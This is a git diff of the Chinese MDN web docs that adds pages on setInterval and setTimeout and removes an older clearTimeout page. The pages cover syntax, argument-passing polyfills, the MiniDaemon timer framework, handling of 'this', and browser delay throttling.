+ +

As you can see there are no ways to pass the this object to the callback function in the legacy JavaScript.

+ +

一个可能的解决方案

+ +

A possible way to solve the "this" problem is to replace the two native setTimeout() or setInterval() global functions with two non-native ones that enable their invocation through the Function.prototype.call method. The following example shows a possible replacement:

+ +
// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as non-standard-compliant polyfills also. See the callback arguments paragraph for a standard-compliant polyfill.
+ +

New feature test:

+ +
myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+
+ +

Another, more complex, solution for the this problem is the following framework.

+ +
JavaScript 1.8.5 introduces the Function.prototype.bind() method, which lets you specify the value that should be used as this for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports arrow functions, with lexical this allowing us to write setInterval( () => this.myMethod) if we're inside myArray method.
+ +

MiniDaemon:一个用于管理定时器的小框架

+ +

In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the this object to the callback function (see The "this" problem for details). The following code is also available on GitHub.

+ +
For a more complex but still modular version of it (Daemon) see JavaScript Daemons Management. This more complex version is nothing but a big and scalable collection of methods for the Daemon constructor. However, the Daemon constructor itself is nothing but a clone of MiniDaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. So the MiniDaemon framework remains the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it.
+ +

minidaemon.js

+ +
+
/*\
+|*|
+|*|  :: MiniDaemon ::
+|*|
+|*|  Revision #2 - September 26, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/minidaemon.js
+|*|
+|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/lgpl-3.0.html
+|*|
+\*/
+
+function MiniDaemon (oOwner, fTask, nRate, nLen) {
+  if (!(this && this instanceof MiniDaemon)) { return; }
+  if (arguments.length < 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
+  if (oOwner) { this.owner = oOwner; }
+  this.task = fTask;
+  if (isFinite(nRate) && nRate > 0) { this.rate = Math.floor(nRate); }
+  if (nLen > 0) { this.length = Math.floor(nLen); }
+}
+
+MiniDaemon.prototype.owner = null;
+MiniDaemon.prototype.task = null;
+MiniDaemon.prototype.rate = 100;
+MiniDaemon.prototype.length = Infinity;
+
+  /* These properties should be read-only */
+
+MiniDaemon.prototype.SESSION = -1;
+MiniDaemon.prototype.INDEX = 0;
+MiniDaemon.prototype.PAUSED = true;
+MiniDaemon.prototype.BACKW = true;
+
+  /* Global methods */
+
+MiniDaemon.forceCall = function (oDmn) {
+  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
+  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
+  return true;
+};
+
+  /* Instances methods */
+
+MiniDaemon.prototype.isAtEnd = function () {
+  return this.BACKW ? isFinite(this.length) && this.INDEX < 1 : this.INDEX + 1 > this.length;
+};
+
+MiniDaemon.prototype.synchronize = function () {
+  if (this.PAUSED) { return; }
+  clearInterval(this.SESSION);
+  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
+};
+
+MiniDaemon.prototype.pause = function () {
+  clearInterval(this.SESSION);
+  this.PAUSED = true;
+};
+
+MiniDaemon.prototype.start = function (bReverse) {
+  var bBackw = Boolean(bReverse);
+  if (this.BACKW === bBackw && (this.isAtEnd() || !this.PAUSED)) { return; }
+  this.BACKW = bBackw;
+  this.PAUSED = false;
+  this.synchronize();
+};
+
+
+ +
MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.
+ +

语法

+ +

var myDaemon = new MiniDaemon(thisObject, callback[, rate[, length]]);

+ +

说明

+ +

Returns a JavaScript Object containing all information needed by an animation (like the this object, the callback function, the length, the frame-rate).

+ +

参数

+ +
+
thisObject
+
The this object on which the callback function is called. It can be an object or null.
+
callback
+
The function that is repeatedly invoked . It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is increasing or decreasing). It is something like callback.call(thisObject, index, length, backwards). If the callback function returns a false value the daemon is paused.
+
rate (optional)
+
The time lapse (in number of milliseconds) between each invocation. The default value is 100.
+
length (optional)
+
The total number of invocations. It can be a positive integer or Infinity. The default value is Infinity.
+
+ +

MiniDaemon 实例(instance)的属性

+ +
+
myDaemon.owner
+
The this object on which is executed the daemon (read/write). It can be an object or null.
+
myDaemon.task
+
The function that is repeatedly invoked (read/write). It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is decreasing or not) – see above. If the myDaemon.task function returns a false value the daemon is paused.
+
myDaemon.rate
+
The time lapse (in number of milliseconds) between each invocation (read/write).
+
myDaemon.length
+
The total number of invocations. It can be a positive integer or Infinity (read/write).
+
+ +

MiniDaemon 实例的方法

+ +
+
myDaemon.isAtEnd()
+
Returns a boolean expressing whether the daemon is at the start/end position or not.
+
myDaemon.synchronize()
+
Synchronize the timer of a started daemon with the time of its invocation.
+
myDaemon.pause()
+
Pauses the daemon.
+
myDaemon.start([reverse])
+
Starts the daemon forward (index of each invocation increasing) or backwards (index decreasing).
+
+ +

MiniDaemon 全局对象的方法

+ +
+
MiniDaemon.forceCall(minidaemon)
+
Forces a single callback to the minidaemon.task function regardless of the fact that the end has been reached or not. In any case the internal INDEX property is increased/decreased (depending on the actual direction of the process).
+
+ +

使用示例

+ +

HTML:

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>MiniDaemin Example - MDN</title>
+  <script type="text/javascript" src="minidaemon.js"></script>
+  <style type="text/css">
+    #sample_div {
+      visibility: hidden;
+    }
+  </style>
+</head>
+
+<body>
+  <p>
+    <input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" />
+    <input type="button" onclick="fadeInOut.start(true);" value="fade out">
+    <input type="button" onclick="fadeInOut.pause();" value="pause" />
+  </p>
+
+  <div id="sample_div">Some text here</div>
+
+  <script type="text/javascript">
+    function opacity (nIndex, nLength, bBackwards) {
+      this.style.opacity = nIndex / nLength;
+      if (bBackwards ? nIndex === 0 : nIndex === 1) {
+        this.style.visibility = bBackwards ? 'hidden' : 'visible';
+      }
+    }
+
+    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
+  </script>
+</body>
+</html>
+ +

View this example in action

+ +

备注

+ +

The setInterval() function is commonly used to set a delay for functions that are executed again and again, such as animations.

+ +

You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.

+ +

If you wish to have your function called once after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.

+ +

Ensure that execution duration is shorter than interval frequency

+ +

If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}. For example, if using setInterval to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.

+ +

In these cases, a recursive setTimeout() pattern is preferred:

+ +
(function loop(){
+   setTimeout(function() {
+      // Your logic here
+
+      loop();
+  }, delay);
+})();
+
+ +

In the above snippet, a named function loop() is declared and is immediately executed. loop() is recursively called inside setTimeout() after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.

+ +

Throttling of intervals

+ +

setInterval() is subject to the same throttling restrictions in Firefox as {{domxref("WindowOrWorkerGlobalScope.setTimeout","setTimeout()")}}; see Reasons for delays longer than specified.

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}

+
+ +

参见

+ +
    +
  • JavaScript 定时器
  • +
  • {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}
  • +
  • {{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}
  • +
  • {{domxref("WindowOrWorkerGlobalScope.clearInterval")}}
  • +
  • {{domxref("window.requestAnimationFrame")}}
  • +
  • Daemons management
  • +
diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html new file mode 100644 index 0000000000..f9813851f7 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html @@ -0,0 +1,476 @@ +--- +title: window.setTimeout +slug: Web/API/Window/setTimeout +tags: + - Timers + - WindowOrWorkerGlobalScope + - WindowTimers + - setTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +--- +

{{APIRef("HTML DOM")}}

+ +

 {{domxref("WindowOrWorkerGlobalScope")}} 混合的 setTimeout()方法设置一个定时器,该定时器在定时器到期后执行一个函数或指定的一段代码。

+ +

语法

+ +
var timeoutID = scope.setTimeout(function[, delay, arg1, arg2, ...]);
+var timeoutID = scope.setTimeout(function[, delay]);
+var timeoutID = scope.setTimeout(code[, delay]);
+ +

参数

+ +
+
function
+
{{jsxref("function")}} 是你想要在到期时间(delay毫秒)之后执行的函数
+
code
+
这是一个可选语法,你可以使用字符串而不是{{jsxref("function")}} ,在delay毫秒之后编译和执行字符串 (使用该语法是不推荐的, 原因和使用 {{jsxref("Global_Objects/eval", "eval()")}}一样,有安全风险)。
+
delay {{optional_inline}}
+
延迟的毫秒数 (一秒等于1000毫秒),函数的调用会在该延迟之后发生。如果省略该参数,delay取默认值0,意味着“马上”执行,或者尽快执行。不管是哪种情况,实际的延迟时间可能会比期待的(delay毫秒数) 值长,原因请查看{{anch("实际延时比设定值更久的原因:最小延迟时间")}}。
+
arg1, ..., argN {{optional_inline}}
+
附加参数,一旦定时器到期,它们会作为参数传递给{{jsxref("function")}} 
+
+ +
+

备注:需要注意的是,IE9 及更早的 IE 浏览器不支持向回调函数传递额外参数(第一种语法)。如果你想要在IE中达到同样的功能,你必须使用一种兼容代码 (查看  {{anch("兼容旧环境(polyfill)")}} 一段).

+
+ +

返回值

+ +

返回值timeoutID是一个正整数,表示定时器的编号。这个值可以传递给{{domxref("WindowOrWorkerGlobalScope.clearTimeout","clearTimeout()")}}来取消该定时器。

+ +

需要注意的是setTimeout()和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}共用一个编号池,技术上,clearTimeout()和 {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 可以互换。但是,为了避免混淆,不要混用取消定时函数。

+ +

在同一个对象上(一个window或者worker),setTimeout()或者setInterval()在后续的调用不会重用同一个定时器编号。但是不同的对象使用独立的编号池。

+ +

例子

+ +

下文的例子在网页中设置了两个简单的按钮,以触发 setTimeout() 和 clearTimeout() 方法:按下第一个按钮会设置一个定时器,定时器在 2s 后显示一个警告对话框,并将此次 setTimeout 的定时器 ID 保存起来,按下第二个按钮可以取消定时器。

+ +

HTML

+ +
<p>Live Example</p>
+<button onclick="delayedAlert();">Show an alert box after two seconds</button>
+<p></p>
+<button onclick="clearAlert();">Cancel alert before it happens</button>
+
+ +
+ +
+ +
+ +
+ +

JavaScript

+ +
var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert('That was really slow!');
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +

结果展示

+ +

{{EmbedLiveSample('例子')}}

+ +

也可参考 clearTimeout() 示例.

+ +

兼容旧环境(polyfill)

+ +

如果你需要向你的回调函数内传递一个或多个参数, 而且还需要兼容那些不支持传递额外参数(不管使用setTimeout() 或者 setInterval())的浏览器时(比如,IE9及更早的版本), 你可以引入下面的兼容代码来支持向定时器函数传参。将以下代码添加到你代码的最上面:

+ +
/*\
+|*|
+|*|  Polyfill which enables the passage of arbitrary arguments to the
+|*|  callback functions of JavaScript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+(function() {
+  setTimeout(function(arg1) {
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeST__ = window.setTimeout;
+    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeST__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+
+  var interval = setInterval(function(arg1) {
+    clearInterval(interval);
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeSI__ = window.setInterval;
+    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeSI__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+}())
+ +

针对IE的解决方法

+ +

如果你需要单独的针对IE9及之前浏览器的 hack 写法,你可以使用 JavaScript 条件注释:

+ +
/*@cc_on
+  // conditional IE < 9 only fix
+  @if (@_jscript_version <= 9)
+  (function(f){
+     window.setTimeout = f(window.setTimeout);
+     window.setInterval = f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
+  @end
+@*/
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +

或者使用更加清晰的 IE HTML 条件注释:

+ +
<!--[if lte IE 9]><script>
+(function(f){
+window.setTimeout=f(window.setTimeout);
+window.setInterval=f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
+});
+</script><![endif]-->
+
+
+
+ +
+ +
+ +

变通方法

+ +

另一种方法是使用匿名函数包裹你的回调函数,这种方式要消耗更多资源:

+ +
var intervalID = setTimeout(function() { myFunc('one', 'two', 'three'); }, 1000);
+
+ +
+ +

上面那个例子也可以用箭头函数:

+ +
var intervalID = setTimeout(() => { myFunc('one', 'two', 'three'); }, 1000);
+
+ +

此外,也可使用 function's bind

+ +
setTimeout(function(arg1){}.bind(undefined, 10), 1000);
+
+ +

关于"this"的问题

+ +

当你向 setTimeout() (或者其他函数)传递一个函数时,该函数中的this指向跟你的期望可能不同,这个问题在 JavaScript reference 中进行了详细解释.

+ +

解释

+ +

setTimeout()调用的代码运行在与所在函数完全分离的执行环境上。这会导致,这些代码中包含的 this 关键字在非严格模式会指向 window (或全局)对象,严格模式下为 undefined,这和所期望的this的值是不一样的。

+ +
+

备注:即使是在严格模式下,setTimeout()的回调函数里面的this仍然默认指向window对象, 并不是undefined

+
+ +

查看下面的例子:

+ +
let myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+ +

上面这段代码正常工作,用myArray调用,在函数内,this[sProperty]等于 myArray[sProperty]。然后,下面这个例子:

+ +
setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1.5 seconds
+ +

myArray.myMethod函数传递给 setTimeout,到了定时时间,this没有指向,默认指向window对象。并且没有方法把 thisArg 传递给setTimeout,正如Array方法的forEachreduce等。下面的例子表示使用call方法设置this也没用。

+ +
setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+ +

可能的解决方案

+ +

一个通用的方法是用包装函数来设置this

+ +
setTimeout(function(){myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout(function(){myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
+ +

箭头函数也可以:

+ +
setTimeout(() => {myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout(() => {myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
+ +

另一个解决this问题的方法是使用两个非原生的 setTimeout()setInterval() 全局函数代替原生的。该非原生的函数通过使用Function.prototype.call 方法激活了正确的作用域。下面的代码显示了应该如何替换:

+ +
// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
备注: 这两个替换也让 IE支持了符合 HTML5 标准的定时器函数。所以也能作为一个 polyfills。查看 Callback arguments 一段.
+ +

新特性检测:

+ +
let myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+
+ +

针对这个问题并没有原生的解决方案。

+ +
注:JavaScript 1.8.5 引入了 Function.prototype.bind() 方法,该方法允许显式地指定函数调用时 this 所指向的值 。该方法可以帮助你解决 this 指向不确定的问题。
+ +

使用bind()的例子:

+ +
let myArray = ['zero', 'one', 'two'];
+myBoundMethod = (function (sProperty) {
+    console.log(arguments.length > 0 ? this[sProperty] : this);
+}).bind(myArray);
+
+myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
+myBoundMethod(1); // prints "one"
+setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
+setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
+
+ +

备注

+ +

你可以使用 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()","clearTimeout()")}}来取消定时器。

+ +

如果你希望你的代码被重复的调用 (比如每 N 毫秒一次),考虑使用{{domxref("WindowOrWorkerGlobalScope.setInterval()","setInterval()")}}。

+ +

传递字符串字面量

+ +

setTimeout()传递一个字符串而不是函数会遭受到与使用eval一样的风险.

+ +
// 推荐
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// 不推荐
+window.setTimeout("alert(\"Hello World!\");", 500);
+
+
+ +

字符串会在全局作用域内被解释执行,所以当setTimeout()函数执行完毕后,字符串中的变量不可用.

+ +

实际延时比设定值更久的原因:最小延迟时间

+ +

有很多因素会导致setTimeout的回调函数执行比设定的预期值更久,本节将讨论最常见的原因。

+ +

最小延时 >=4ms

+ +

在浏览器中,setTimeout()/{{domxref("WindowOrworkerGlobalScope.setInterval","setInterval()")}} 的每调用一次定时器的最小间隔是4ms,这通常是由于函数嵌套导致(嵌套层级达到一定深度),或者是由于已经执行的setInterval的回调函数阻塞导致的。例如:

+ +
function cb() { f(); setTimeout(cb, 0); }
+setTimeout(cb, 0);
+ +
setInterval(f, 0);
+ +

在Chrome 和 Firefox中, 定时器的第5次调用被阻塞了;在Safari是在第6次;Edge是在第3次。Gecko 从这个版本 version 56开始对 setInterval() 开始采用这样的机制(setTimeout()已经实现,具体请参考以下内容)。

+ +

一直以来,不同浏览器中出现这种最小延迟的情况有所不同(例如Firefox) - 从其他地方调用了setInterval( ),或者在嵌套函数调用setTimeout( ) 时(嵌套级别达到特定深度时),都会出现超时延迟。

+ +

如果想在浏览器中实现0ms延时的定时器,你可以参考这里所说的{domxref("window.postMessage()")}}

+ +
+

Note: 最小延时, DOM_MIN_TIMEOUT_VALUE, 是4ms  (但在Firefox中通常是是存储在 dom.min_timeout_value 这个变量中), DOM_CLAMP_TIMEOUT_NESTING_LEVEL 的第5层.

+
+ +
+

Note: 4 ms 是在  HTML5 spec  中精确的,并且在2010年及以后的跨浏览器中保持了一致,这个数值比 {{geckoRelease("5.0")}}规定的嵌套函数的最小延时10ms更为精确。

+
+ +

未被激活的tabs的定时最小延迟>=1000ms

+ +

为了优化后台tab的加载损耗(以及降低耗电量),在未被激活的tab中定时器的最小延时限制为1S(1000ms)。

+ +

Firefox 从version 5 (see {{bug(633421)}}开始采取这种机制,1000ms的间隔值可以通过 dom.min_background_timeout_value 改变。Chrome 从 version 11 (crbug.com/66078)开始采用。

+ +

Android 版的Firefox对未被激活的后台tabs的使用了15min的最小延迟间隔时间 ,并且这些tabs也能完全不被加载。

+ +
+

当 Web Audio API {{domxref("AudioContext")}} 正在被用来播放音频的时候,Firefox 50不会再限制后台tabs的加载。 后续的Firefox 51 版本修正了这个问题,即使在没有音频播放的情况下,也不再限制后台tabs的加载。这个解决了一些软件应用在后台tabs中播放基于文本的音频( note-based) 时,无法去同步音频和画面的问题。

+
+ +

追踪型脚本的最小延时限制

+ +

从Firefox 55版本开始,追踪型脚本(例如 谷歌分析,或者其他的一些被Firefox 的 TP lists 识别为追踪型脚本的 外链URL脚本)是重点限制加载的对象。在当前正在使用的页面中,这个节流限制的延时依然是4ms。但是在后台tabs中,这个最小延时限制是10000ms(10s),这个限制会在文档第一次加载后的30s后生效。

+ +

控制这些行为的属性包含以下这些:

+ +
    +
  • dom.min_tracking_timeout_value: 4
  • +
  • dom.min_tracking_background_timeout_value: 10000
  • +
  • dom.timeout.tracking_throttling_delay: 30000
  • +
+ +

超时延迟

+ +

除了"最小延时"之外,定时器仍然有可能因为当前页面(或者操作系统/浏览器本身)被其他任务占用导致延时。 需要被强调是, 直到调用 setTimeout()的主线程执行完其他任务之后,回调函数和代码段才能被执行。例如:

+ +
function foo() {
+  console.log('foo has been called');
+}
+setTimeout(foo, 0);
+console.log('After setTimeout');
+ +

会在控制台输出:

+ +
After setTimeout
+foo has been called
+ +

出现这个结果的原因是,尽管setTimeout 以0ms的延迟来调用函数,但这个任务已经被放入了队列中并且等待下一次执行;并不是立即执行;队列中的等待函数被调用之前,当前代码必须全部运行完毕,因此这里运行结果并非预想的那样。

+ +

WebExtension Background pages和定时器

+ +

在 WebExtension 中 background pages,timers工作不正常。这主要因为background pages实际上,并不是一次性全部加载:如果浏览器没有使用它,就不加载,如果需要就恢复。这对于WebExtension是透明的,但是有些事件(包括JS的timers)不会在不加载/恢复循环中执行,所以WebExtension中建议使用alarms。更详细的细节在合并到事件驱动后台脚本

+ +

在本文写作的时候,只有Chrome展示了如上的特性 — Firefox没有未加载/恢复循环的行为,所以timers仍然可以工作。但是,仍然建议不要在WebExtension中使用timers:

+ +

1.兼容Chorme。

+ +

2.未来行为的改变会引起问题。

+ +

最大延时值

+ +

包括 IE,  Chrome, Safari, Firefox 在内的浏览器其内部以32位带符号整数存储延时。这就会导致如果一个延时(delay)大于 2147483647 毫秒 (大约24.8 天)时就会溢出,导致定时器将会被立即执行。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-settimeout', 'WindowOrWorkerGlobalScope.setTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}

+
+ +

相关链接:

+ + diff --git a/files/zh-cn/web/api/windowtimers/cleartimeout/index.html b/files/zh-cn/web/api/windowtimers/cleartimeout/index.html deleted file mode 100644 index 4b20c970d7..0000000000 --- a/files/zh-cn/web/api/windowtimers/cleartimeout/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: WindowOrWorkerGlobalScope.clearTimeout() -slug: Web/API/WindowTimers/clearTimeout -tags: - - API - - WindowOrWorkerGlobalScope - - clearTimeout -translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout ---- -
-
{{APIRef("HTML DOM")}}
-
- -

{{domxref("WindowOrWorkerGlobalScope")}}内置的clearTimeout()方法取消了先前通过调用{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}建立的定时器。

- -

语法

- -
scope.clearTimeout(timeoutID)
- - - -

Parameters

- -
-
timeoutID
-
您要取消定时器的标识符。 该ID由相应的setTimeout()调用返回。
-
- -

值得注意的是,{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}使用共享的ID池, 意味着在技术上可以混用clearTimeout()和{{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 。 但是,为了清楚起见,你应该避免这样做。

- -

示例

- -

在一个网页中运行如下脚本,并且点击一次页面。一秒钟后你会看见弹出一条信息。如果你在一秒内不停点击页面,弹出框将不再出现。

- -
var alarm = {
-  remind: function(aMessage) {
-    alert(aMessage);
-    delete this.timeoutID;
-  },
-
-  setup: function() {
-    this.cancel();
-    var self = this;
-    this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
-  },
-
-  cancel: function() {
-    if(typeof this.timeoutID == "number") {
-      window.clearTimeout(this.timeoutID);
-      delete this.timeoutID;
-    }
-  }
-};
-window.onclick = function() { alarm.setup() };
- -

注意

- -

传入一个错误的 ID 给 clearTimeout()不会有任何影响;也不会抛出异常。

- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'WindowOrWorkerGlobalScope.clearTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'clearTimeout()')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1")}}
- {{CompatGeckoDesktop("52")}}[1]
4.04.01.0
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.01.0{{CompatVersionUnknown}}{{CompatGeckoMobile("1")}}
- {{CompatGeckoMobile("52")}}[1]
6.06.01.0
-
- -

[1] clearTimeout() now defined on {{domxref("WindowOrWorkerGlobalScope")}} mixin.

- -

更多

- -
    -
  • {{domxref("WindowTimers.setTimeout()")}}
  • -
  • {{domxref("WindowTimers.setInterval()")}}
  • -
  • {{domxref("WindowTimers.clearInterval()")}}
  • -
  • {{domxref("Window.requestAnimationFrame()")}}
  • -
  • Daemons management
  • -
